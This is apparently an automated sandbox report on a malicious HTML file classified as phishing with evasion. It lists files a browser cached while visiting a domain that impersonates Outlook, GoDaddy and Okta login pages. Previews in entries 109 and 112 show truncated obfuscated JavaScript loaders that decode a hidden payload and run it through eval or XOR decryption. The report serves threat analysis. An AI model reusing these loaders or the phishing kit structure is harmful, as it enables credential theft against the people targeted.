Sample name:	suspect.html
Detection:	MAL
Classification:	mal100.phis.evad.winHTML@20/33@49/232
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.142, 172.217.16.195, 142.250.185.142, 173.194.76.84, 216.58.206.78, 142.250.185.174, 142.250.186.110, 142.250.181.238
Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, redirector.gvt1.com, clientservices.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 3pz.bughtswo.com

Created / dropped Files

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	unknown
Preview:	0

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	1298
Entropy (8bit):	6.665390877423149
Encrypted:	false
SSDEEP:
MD5:	32CA2081553E969F9FDD4374134521AD
SHA1:	7B09924C4C3D8B6E41FE38363E342DA098BE4173
SHA-256:	216FC342A469AA6A005B2EACC24622095E5282D3E9F1AE99CE54C27B92EC3587
SHA-512:	F75749C6344FCD7BF06872A3678BB2EB4CAE2DDC31CC5D1EE73EFBA843705577841667733A83163AF4336EC8A32DF93E7A36155BD6282D7BB86159644975948C
Malicious:	false
Reputation:	unknown
Preview:	RIFF....WEBPVP8X....0...k.....ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPHX.....\m{.z..........T ..Q....R...X....U`..@......Yyy..<q.."b..a....K._.....jH....}q..........^.-.\.4. &.H~.q..H.q.'.t..p....0)...X.....8./.... ..6.#H..Y..../...E>.#.tv....9.\.p5......h......1.{@.k].(1...B.........u.n....=....sX...*..I.c]r....S.....u.a...X.....Pi..q.$73..ga..h%9.S.l.....}....^%.@:Q....we8x..j..3.^.}5.fFtZ...3....<. x.s....d@(./.<].y...m.....T..........T.P`....5..<qYl.g..k..N. `_...f....yN.R.PB..p\|..-.%.`y.._.]C.v.<.Y...V..I..(.c....>...........k....nt

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2905
Entropy (8bit):	3.962263100945339
Encrypted:	false
SSDEEP:
MD5:	FE87496CC7A44412F7893A72099C120A
SHA1:	A0C1458C08A815DF63D3CB0406D60BE6607CA699
SHA-256:	55CE3B0CE5BC71339308107982CD7671F96014256DED0BE36DC8062E64C847F1
SHA-512:	E527C6CD2A3D79CA828A9126E8FF7009A540AA764082750D4FA8207C2B8439CA1FDC4459E935D708DC59DCFFE55FE45188EB5E266D1B745FCA7588501BC0117D
Malicious:	false
Reputation:	unknown
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.854q.488.444.941.932a9.974,9.974,0,0,1,.819,1A4.951,4.951,0,0,1,37,34.736a3.133,3.133,0,0,1,.218,1.15,3.493,3.493,0,0,1-.261,1.324,3.381,3.381,0,0,1-.749,1.132q-.888.888-1.6,1.568a8.753,8.753,0,0,1-1.489,1.15,6.17,6.17,0,0,1-1.716.705A9.367,9.367,0,0,1,29.151,42a13.73,13.73,0,0,1-3.9-.592A21.891,21.891,0,0,1,21.26,39.77a27.749,27.749,0,0,1-3.885-2.491,34.863,34.863,0,0,1-3.6-3.153,34.6,34.6,0,0,1-3.127-3.606,27.717,27.717,0,0,1-2.456-3.876A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3.381,0,0,1,1.132-.749,3.493,3.493,0,0,1,1.324-.261,3.3,3.3,0,0,1,1.681.47,8.648,8.648,0,0,1,1.542,1.15,17.725,17.725,0,0,1,1.376,1.428q.645.

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (21720), with CRLF line terminators
Category:	downloaded
Size (bytes):	4712061
Entropy (8bit):	2.583772531747173
Encrypted:	false
SSDEEP:
MD5:	E34A613844E71AD9EA25A2FAAB768F3F
SHA1:	34844596642BED7752C4AED44721CEE52593B344
SHA-256:	D767A16A68A568D204E0E4283BDDB8A9702CCF95BF2715D512C4AE39C3D79AB5
SHA-512:	8D5342EC77557793F73701400220B10421E6B1ED941876554D27F27A0573644F26C66FA4AB7019E666F6471688E2F7857394CC127197EF109FC076BC5534342C
Malicious:	false
Reputation:	unknown
URL:	https://3pz.bughtswo.com/56usdLGyORYNk44l9ghb0mDtUEm8nDuuFwg67110
Preview:	function decodeAndEvaluate(key) {.. const binaryString = [...key].. .map(char => Number('.' > char)).. .join('').. .replace(/.{8}/g, byte => String.fromCharCode(parseInt(byte, 2)));.. .. (0, eval)(binaryString);.. return true;..}....const handler = {.. get: function(_, prop) {.. decodeAndEvaluate(prop);.. return true;.. }..};..const viewsen = new Proxy({}, handler);..viewsen["........................................................................................................................................................................................................

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	35786
Entropy (8bit):	5.058073854893359
Encrypted:	false
SSDEEP:
MD5:	38501E3FBBBD89B56AA5BA35DE1A32FE
SHA1:	D9B31981B6F834E8480BA28FBC1CFF1BE772F589
SHA-256:	A1CA6B381CB01968851C98512C6E7F6C5309A49F7A16B864813135CBFF82A85B
SHA-512:	1547937AA9B366E76DE44933EF48EF60E3D043245E8E3E01C97DFC2981F6B1F61463D9D30992FBCF2CA25FC1B7B32FF808B9789CFB965D74455522FC58E0C08C
Malicious:	false
Reputation:	unknown
URL:	https://3pz.bughtswo.com/xyI3O4tCtbzsOtrs132Ycd30
Preview:	#sections_godaddy {..font-family: gdsherpa !important;..}..#sections_godaddy a {.. color: var(--ux-2rqapw,#000);.. -webkit-text-decoration: var(--ux-1f7if5p,underline);.. text-decoration: var(--ux-1f7if5p,underline);.. background-color: transparent;..}....#sections_godaddy #root {.. flex: 1 1 0%;..}....#sections_godaddy a:hover {../* color: var(--ux-1j87vvn,#fff);/.. -webkit-text-decoration: var(--ux-1ft0khm,underline);.. text-decoration: var(--ux-1ft0khm,underline);..}....#sections_godaddy svg {.. overflow: hidden;.. vertical-align: unset;..}....#sections_godaddy .ux-button {.. --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) 1em - 1.5em) / 2);.. padding: 0;.. text-decoration: var(--ux-1f7if5p,underline);.. -webkit-text-decoration: var(--ux-1f7if5p,underline);.. gap: 0.5em;.. cursor: pointer;.. --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) * 1em - 1.5em) / 2);.. font-weight: inherit;.. background: transparent;.. gap:

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	892
Entropy (8bit):	5.863167355052868
Encrypted:	false
SSDEEP:
MD5:	41D62CA205D54A78E4298367482B4E2B
SHA1:	839AAE21ED8ECFC238FDC68B93CCB27431CD5393
SHA-256:	20A4A780DB0BCC047015A0D8037EB4EB58B3E5CB338673799C030A3E1B626B40
SHA-512:	82B9806490A0DB493DA16466738437B9BB54B979075DB58C89CA0D192D780DDB5ED888E10CE76A53D48D30D5013791CAC7AB468D85B61D32766140DD53DC9044
Malicious:	false
Reputation:	unknown
URL:	https://3pz.bughtswo.com/opuxRiSxTmEM15vBJMb9leXlu5sefNsAugLT2OPWIt7nw45140
Preview:	RIFFt...WEBPVP8X....0.../../..ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH=......m[..H.A.).U....A..C.u@. ....L.......;.....$3{2{....3..V6.i.W.F.h..ee^k.:..cl.Z.eb.....).IZ....!....;X.:&...hF0...kM......!W5.ak8.......#V.s...2...`..v...}.(0 p../s.'VS`SjX.B.,...v.#./I....}.b....^1..k.:F9hgb.HgW.Q^.r}..Y5....'.JJ....&.."]<.M.Z)o.H..].i.H1..G.P>.b.{.G.\BYx.[.y...?L....:.%.d......%.q..VP8 @...0....*0.0.>U .E..!.4.8.D...o..z...A....Z........?..z......k...

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (11993), with CRLF line terminators
Category:	downloaded
Size (bytes):	17020
Entropy (8bit):	5.954667003318263
Encrypted:	false
SSDEEP:
MD5:	0FA03A3FD695C7771CA21CCE7F3627A2
SHA1:	A318C4783EB50BB045B27E716F24EEF60D0B7A27
SHA-256:	F6CBE0E7955A375AAB5453F93F24D7119DF348EE324F5B9C3091A756753EF945
SHA-512:	6656572729E79DA0F502CF690722ACEC70C88FF645BA4A7D055A549ED02EE6D1222801DF799FDF2A0EE59FCB5553F438433CF1B23B85194787289152A9B86156
Malicious:	false
Reputation:	unknown
URL:	https://3pz.bughtswo.com/admi/
Preview:	<script>..function zUCEMuMYAN(ULIUznNboy, CiCUxFBQuj) {..let FrVaFlZgzI = '';..ULIUznNboy = atob(ULIUznNboy);..let DAprcVLceH = CiCUxFBQuj.length;..for (let i = 0; i < ULIUznNboy.length; i++) {.. FrVaFlZgzI += String.fromCharCode(ULIUznNboy.charCodeAt(i) ^ CiCUxFBQuj.charCodeAt(i % DAprcVLceH));..}..return FrVaFlZgzI;..}..var PAIvqGTknl = zUCEMuMYAN(`ChAGJTkaGGEJA1VeRz8kHhwyQF4ZAAozNUQGMA8URBpLND8HQysLBFMRHHpjRFpvSl9bCgt5OhlOf0ZeRQAXPiAeUkxwTUUAFz4gHkwyCBILQQ0jJBofe1VeVQcLPSNEDy0VBFIFCTYiD0IiFRwZAg82KEUAKBgCGQAXLiAeA2wQAhlXS2Z+W0MiCAhGFwp6OhlCLBMfGAkWdW5WQzIZA18TEWldYGFLRgJVEQwnJFRhSxQUQUMjIj4JGCgVHx4CETgyQksgLShRKCJiOA4BLRQobjETNDlfXxstO10ACDtiMDQIHRd+FAIzYgYZGz1IBS8IGTgIKzkrEHElEDMXUxgIMgkOKi0zIAgBEwwVT1YDNBcCBCMUI0ABNhVoDC8DDyhuORUNYixcI0k4Qwc9GTwJBwcUK2FWVRs9BhkYSAkHOSIBKiEvCzkVbikSHjkBHAgyAnggDBY3Iy8AHTh1IgIzYgYZGz1IBS8ILyYzXgdKEGFaEB4UWgsIFzdfAVYBYCUBCwkoYVYXHjoZIgIUQXggCAUmM18XDithVlUbPSwHGz8nBDkyYmA+Ky0AFXE1EA0IIwMIFwVaBjIFJg5edRM9dSEIMwdfBiU9HUABDBY/MDQbFhNYMhUeGBkiAhMwUSom

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	268
Entropy (8bit):	5.111190711619041
Encrypted:	false
SSDEEP:
MD5:	59759B80E24A89C8CD029B14700E646D
SHA1:	651B1921C99E143D3C242DE3FAACFB9AD51DBB53
SHA-256:	B02B5DF3ECD59D6CD90C60878683477532CBFC24660028657F290BDC7BC774B5
SHA-512:	0812DA742877DD00A2466911A64458B15B4910B648A5E98A4ACF1D99E1220E1F821AAF18BDE145DF185D5F72F5A4B2114EA264F906135F3D353440F343D52D2E
Malicious:	false
Reputation:	unknown
URL:	https://3pz.bughtswo.com/opCFdSgn1l9ejFMcZdMMdllPgt3wr0qvg5ghQ19r8NjVY4Vg9HKNBQfcd200
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill="#404040"/></svg>

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 28000, version 1.66
Category:	downloaded
Size (bytes):	28000
Entropy (8bit):	7.99335735457429
Encrypted:	true
SSDEEP:
MD5:	A4BCA6C95FED0D0C5CC46CF07710DCEC
SHA1:	73B56E33B82B42921DB8702A33EFD0F2B2EC9794
SHA-256:	5A51D246AF54D903F67F07F2BD820CE77736F8D08C5F1602DB07469D96DBF77F
SHA-512:	60A058B20FCB4F63D02E89225A49226CCD7758C21D9162D1B2F4B53BBA951B1C51D3D74C562029F417D97F1FCA93F25FDD2BC0501F215E3C1EF076810B54DD06
Malicious:	false
Reputation:	unknown
URL:	https://3pz.bughtswo.com/GDSherpa-bold.woff2
Preview:	wOF2......m`......$...l....B.......................6....`..<.<..b.....$....6.$..x..>.. .....{...[..q.k.]]O....s...\|..n...!..[<;....P&..g....!..I'i..Q.DP....9..J......9G..Q1(..)Jn......8Y......)J.F.c A..7k.v...2=.Z.n.4`...~Nl...4;...S.l{w..:.#..=!. ..X....>[.7........1??.3.?t..qE..f...b...,.Fwcp8...4^.^x..\|....Ro<%.."....~0..q..rP..G.......R....-..{O.QeJ.....6.E........{.{.....,h.!.._......$..3..cF@..>........t.o...Fc ...YS.....s.V..j....uk.`n......#....6.....1`kbd..Z..).x...F........T.._..}...p..._F.0.S'.V.g........3.$...Jf.j._,J....v7(...(..bm.....a....Nh.(QS.H...5.w.o.1.[<m.1.cJ......B......R..L..>[\|@..]../...6.\..(.j.Bn...Oj.&/j@.'T...w.,......e.g.I=.w.x..ap..?.......lI../..uuDH.P.....)._...<..C.x.......Kh.P.\|"M..JQ......?`..S@{..o..RjCE.qx.p.!(Wi....dY.%./r.#.p..C ..........r.o4P.}...3X..].....6.'~&...]...y...YQ..9."v....3...oEMQoWM.W`................Y.V..O2......l....p.1..B..Fn..o.<..,C......^.Y.C...W..tX..\|.`...5:.Yd@]..j..$...v.

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	128
Entropy (8bit):	4.750616928608237
Encrypted:	false
SSDEEP:
MD5:	D90F02F133E7B82AF89B3E58526AC459
SHA1:	F1D6D47EFE0D920F5BC5024E813554BD2F8A1650
SHA-256:	FCF0826E3EA7D24F6C73417BFF62AD84191ECC837DBFB10E60A2547580C3C14D
SHA-512:	83C187216CE1B44E23000DF4F25A4BAA7C5E0066E62C3E0D0203B013B5C26D097C6B225C58E345204B47E5E7BF34D4A8E60F7DF63D6083157C6CB9707DD9C41E
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIgCVGfi0zWw4n5EgUNX1f-DRIFDRObJGMh1M3-IQveRIgSSgkXeV9LGa7v3RIFDc8jKv8SBQ3Fk8QkEgUNiaVnyxIFDcMZOZASBQ2JpWfLEgUNwxk5kBIFDdACQOwSBQ2oXeN0ITJGOjpnOf0S?alt=proto
Preview:	ChIKBw1fV/4NGgAKBw0TmyRjGgAKSAoHDc8jKv8aAAoHDcWTxCQaAAoHDYmlZ8saAAoHDcMZOZAaAAoHDYmlZ8saAAoHDcMZOZAaAAoHDdACQOwaAAoHDahd43QaAA==

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	17842
Entropy (8bit):	7.821645806304586
Encrypted:	false
SSDEEP:
MD5:	4B52ECDC33382C9DCA874F551990E704
SHA1:	8F3BF8E41CD4CDDDB17836B261E73F827B84341B
SHA-256:	CCE050CC3B150C0B370751021BB15018EE2B64AC369E230FE3B571A9B00D4342
SHA-512:	AC3D3C82BAD9147AE5F083ED49C81A744F672DDFBB262135AA3F2C6601F8DFFEA11D8E323CEF025C36D76C6F2515AA6814B622CF504CA01D13346E9EA989048F
Malicious:	false
Reputation:	unknown
URL:	https://3pz.bughtswo.com/uvrsNwJ0EBQ2dDGQwRbWOzn8AryE2uANKhJMqeuKmnccZhFbpNDM77XT7xoGTEiBeNLNv8SREeVj0l5gh260
Preview:	RIFF.E..WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH.,...$.m.8..k.\.oDL.. ..TU....3'.{.g..6..2...6.DL`e..."&@..b.#&@......T.....'.....$......1.d...G........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........._...........................?...Z5[...B,.c...V-...m.0.../..?...............?.......?................_.....-...M.B.....=....C...[......w .X...ea.............VW.?b....[[.o^.Y.K...OD

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	644
Entropy (8bit):	4.6279651077789685
Encrypted:	false
SSDEEP:
MD5:	541B83C2195088043337E4353B6FD60D
SHA1:	F09630596B6713217984785A64F6EA83E91B49C5
SHA-256:	2658B8874F0D2A12E8726DF78AC8954324C3BBE4695E66BDEF89195FDE64322F
SHA-512:	B2AE42BA9D3A63D3ACB179051B005F2589F147D94F044616AE5DC5705E873F16057C56934262841191263B4C35804EF188BD38CF69CCE0F4B2CF76C05F17B8AD
Malicious:	false
Reputation:	unknown
Preview:	RIFF\|...WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPHK....W`$....z..".Y..P}0;.PE..G..h....9.@..`..2.......=.T.....-3..ow....&......VP8 :...0........>m&.M.!"......i...O...(.........g....w...XG...

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	unknown
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 420 x 94, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	10796
Entropy (8bit):	7.946024875001343
Encrypted:	false
SSDEEP:
MD5:	12BDACC832185D0367ECC23FD24C86CE
SHA1:	4422F316EB4D8C8D160312BB695FD1D944CBFF12
SHA-256:	877AE491D9AAC5C6EF82A8430F9F652ACE8A0DBC7294BD112AAD49BD593769D0
SHA-512:	36C319AC7F75202190E7A59F3F3C92892A71D5F17663E672319A745B6574BCFDE7C89B35F480CB15A193924DACB9D67F8CA1E1BC2BF33FC5CCBFA152CC7BA2D0
Malicious:	false
Reputation:	unknown
URL:	https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7
Preview:	.PNG........IHDR.......^.....l2`...).IDATx..}...U.... w...B..P$.Hv..t......x.EA@.Q`.E......-.".(..X`..D....5]]U}....$3...&...guOw..}>.....~....w.ZZ...z..FZ$I.$I....N.......tt.$e...M....ru$I.$IR.h.AvK0.t..wy.:.1...D.H...LS....iF~.X...smr.$I.$IR.4.....SY..@....h8.......dB...1.eG...$I.$.hZ...8.r...[.A.I..XE..hdA{Z..teaF...u:}.1^..-I.$I.FP.A..Nm..........A78...=.%W_.$I..8YQ.H2z#.D_...m..k..u.t..R6#.....N....){...$I..1@...g...@a ..u2..dL...ai.d.[.$I..D.....OM..a...,h%u.B.....0...57..hrW..$I....Gf.\|.=.eg`.........k.J.$IR..<.u....]....@.d...H..$I.$5..MWwu:....H\|Y..,.$.I.$I....Qu...s.NzzM..]..;$ I.$IR......+..L9......63.I@.$I..z..#.....:..7...s..<$ I.$I.hP.tu...m"..o1.y.@..W1T<(..... z%."?.4zE..$ ..Y1z`.P..!....`t%t....[..d...N.UKy&.A;..6S...<...........o...]0...r.$I......0..R.....N.....0Wi._.;...M..Lrb{.7w..].jm.r....C...&..gd}..Etm}..~L.l...}n\'...$..Mr.i..{..n..9.....SwMh.}.Q{./wJ.....B]:.....+..\V...A.S.w..6.....,..[.......J@....-.4.....:..Zvt.r.*.

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 43596, version 1.0
Category:	downloaded
Size (bytes):	43596
Entropy (8bit):	7.9952701440723475
Encrypted:	true
SSDEEP:
MD5:	2A05E9E5572ABC320B2B7EA38A70DCC1
SHA1:	D5FA2A856D5632C2469E42436159375117EF3C35
SHA-256:	3EFCB941AADDAF4AEA08DAB3FB97D3E904AA1B83264E64B4D5BDA53BC7C798EC
SHA-512:	785AB5585B8A9ED762D70578BF13A6A69342441E679698FD946E3616EF5688485F099F3DC472975EF5D9248AFAAD6DA6779813B88AA1DB60ABE2CC065F47EB5F
Malicious:	false
Reputation:	unknown
URL:	https://3pz.bughtswo.com/GDSherpa-vf.woff2
Preview:	wOF2.......L.......P..............................U...z...?HVAR.;?MVARF.`?STAT...H/L.....@..P..>.0....6.$..x. .....{[.q....Rl....t..~v....(....T.t.;..n'..v=....?...l].xI...m."..?hNX.,...8.;G...m,}.h.>(=[...m/.>....8&f..&.......].u...&.VD..].<..yR.eb<,x......)..c..t...k...9..o.T..R9..kq..TR%U..v....r._......D...f..=qH...8.<...x..(V.I.h.L3#]8...-.z.........3.9V..........u.........x.....S_...\1...&6...j^...c;()m.J.....>....xz..Y...\|.7......!.jw...,.L.;N.......n......].....8].R..d.....`.R.B..#..,...1R.UJD..b.`.0<....FA=..{.....`....c...R..Uy..J.k.".j..N.{w..UT<.8T66...H,...FH.GS.G.]......?.T.!4..8...B...l.p@.......t.o...v...b.g..?..m..!.%.....x..MC1M...........k...})..+N.....Q_yS.X.11a....&`..'".xZ..=b^...iD...} .. ..b...}DIvu.q....k.4.....@.....P..j..)..'.L......b..RQjII..Qk.T.l._wO..$....!c..%.{.._N..E@....A...?...aW.y.gf.g.&E... ~.x.b....b...~......f/.....G....J.6.y.....zE@T.a.0^Ul......S:..,..}..B.R..Rt~.v...L:`4.IKA..V...x&@...h.7.P......

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (52007), with CRLF line terminators
Category:	downloaded
Size (bytes):	149946
Entropy (8bit):	5.955997398759306
Encrypted:	false
SSDEEP:
MD5:	C30ED6AB59EA4F214BA7F6BDBD965172
SHA1:	C6AB96AA934DEC30DB530B1D24A1B7808F82993F
SHA-256:	9E2A9E4E0621DDF7CFD97151E59A1D7B0DBC60373ED0B532758EC2B7412547F8
SHA-512:	18C500371D58D735EB3BD92A3F5AB6A9F5A9441D1A025CE9FBF517F37608B74A9FA910524A2E0E8BBD8F9B2251758BC1B80047F49100B4FC9B3F2E693E4B0D7E
Malicious:	false
Reputation:	unknown
URL:	https://3pz.bughtswo.com/sfhyazpyvwddcmilfwzwiezbwzfvcgaogmofrlsmehgvokyu6fchdw70og3s1exjhnjhzth?FYUMHQNFQOGWNOVWIZSTJFOWK
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">.. <meta name="robots" content="noindex, nofollow">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title></title>.. <style id="outlooklogostyle">..body#outlooklogo {.. background-color: #fff;.. height: 100%;.. overflow: hidden;..}....:root {.. --s: 180px;.. --envW: 130px;.. --envH: 71px;.. --calW: 118px;.. --sqW: calc(var(--calW) / 3);.. --sqH: 37px;.. --calHH: 20px;.. --calH: calc(var(--sqH) * 3 + var(--calHH));.. --calY: calc(var(--calH) + 20px);.. --calYExt: calc(var(--calH) - 80px);.. --calYOverExt: calc(var(--calH) - 92px);.. --flapS: 96px;.. --flapH: calc(0.55 * var(--envH));.. --flapScaleY: calc(var(--flapH) / var(--flapWidth));.. --dur: 5s..}..#containerShadow,#ef{border-radius:0 0 7px 7px;}..#cal,#cal>.r{display:flex;}..#fmask,#openedFlap{width:var(--envW);height:107px;}..#ca

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48238)
Category:	downloaded
Size (bytes):	48239
Entropy (8bit):	5.343270713163753
Encrypted:	false
SSDEEP:
MD5:	184E29DE57C67BC329C650F294847C16
SHA1:	961208535893142386BA3EFE1444B4F8A90282C3
SHA-256:	DD03BA1DD6D73643A8ED55F4CEBC059D673046975D106D26D245326178C2EB9D
SHA-512:	AF3D62053148D139837CA895457BEEF7620AA52614B9A08FD0D5BEF8163F4C3B9E8D7B2A74D29079DB3DACC51D98AE4A5DC19C788928E5A854D7803EBB9DED9C
Malicious:	false
Reputation:	unknown
URL:	https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js
Preview:	"use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function v(s){Ht(l,o,c,v,h,"next",s)}function h(s){Ht(l,o,c,v,h,"throw",s)}v(void 0)})}}function V(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):V(e,t)}function De(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function Ve(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){De(e,c,a[c])})}return e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

